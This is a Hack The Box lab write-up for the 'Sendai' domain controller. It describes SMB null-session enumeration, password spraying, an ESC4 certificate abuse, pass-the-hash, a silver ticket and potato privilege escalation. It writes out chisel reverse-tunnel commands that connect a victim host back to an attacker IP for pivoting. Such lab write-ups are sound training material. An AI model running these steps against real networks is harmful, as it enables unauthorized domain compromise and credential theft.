Sendai - Hack The Box

Enumeration

Nmap

Initial nmap scan revealed HTTP and common Domain Controller ports open.

SMB Null Session

Enumeration of SMB Shares with null session was allowed.

One of the shares included incident.txt file. The file contained a text which explains some of the user accounts has weak passwords.

Brute Forcing

Because null session had READ access to the IPC$ share, I could brute force rid to create a user list.

Then with the generated user list, I applied empty password brute forcing.

Two account’s status was PASSWORD MUST CHANGE, so I updated one of the user’s password using impacket’s smbpasswd.py

SMB Enumeration

Later, with the new credentials I enumerated SMB shares again. This time I could access more shares.

The config share included mssql service accounts password. However, MSSQL port was closed on the target.

BloodHound

Later, I checked if I can access LDAP using sqlsvc account. After finding out I can, I ran bloodhound-python.

Checking the BloodHound revealed that Elliot.Yates (the user whom password was updated) can obtain the mgtsvc$ account which can winRM to the DC.

So I applied necessary steps and got the winRM shell.

Privilege Escalation

1st Way

I ran the Invoke-PrivEscCheck.

The output showed that one of the non-common processes running on the target had hardcoded credentials.

And checking that user on the bloodhound revealed that the user was in the CA Operators group.

So I ran certipy to check if there were any vulnerable templates.

One of the templates was vulnerable to ESC4.

So simply applied necessary steps to get the administrator hash.

Then using the hash, I applied pass the hash to get the root flag.

2nd Way

The C:\ directory included SQL2019 directory, so I tried to run sqlcmd. But there were no useful databases and current_user was guest.

However, I know the password of the sql service account. Thus, I can apply silver ticket attack to generate an Administrator ticket to access mssql service as dbadmin.

First I checked the SPN of the sqlsvc user.

Then generated NTLM hash from the cleartext password. And applied silver ticket attack using impacket-ticketer.

Now there was a problem, I can’t login to the target service because it is internal. I need to apply portforwarding. So I used chisel and applied below steps:

1. Update the /etc/proxychains4.conf

    #socks4 127.0.0.1 9050
    socks5  127.0.0.1 1080
   

2. Set Reverse Listener on attacker site:

    chisel server --reverse --port 443
   

3. Set client on the victim side:

    chisel.exe client 10.10.16.11:443 R:socks
   

4. Now we can access the internal network.

So I used impacket-mssqlclient with the generated ticket to get an intercative SQL shell. Then while listening with netcat, I ran a reverse shell using xp_cmdshell.

I got the shell as sqlsvc user. The user had SeImpersontaePrivileges.

I used SigmaPatato to abuse SeImpersonatePrivileges and got a system shell.

Pwned

The machine wass fully compromised.

---

<

Previous Post

Sweep - Hack The Box

>

Next Post

Media - Hack The Box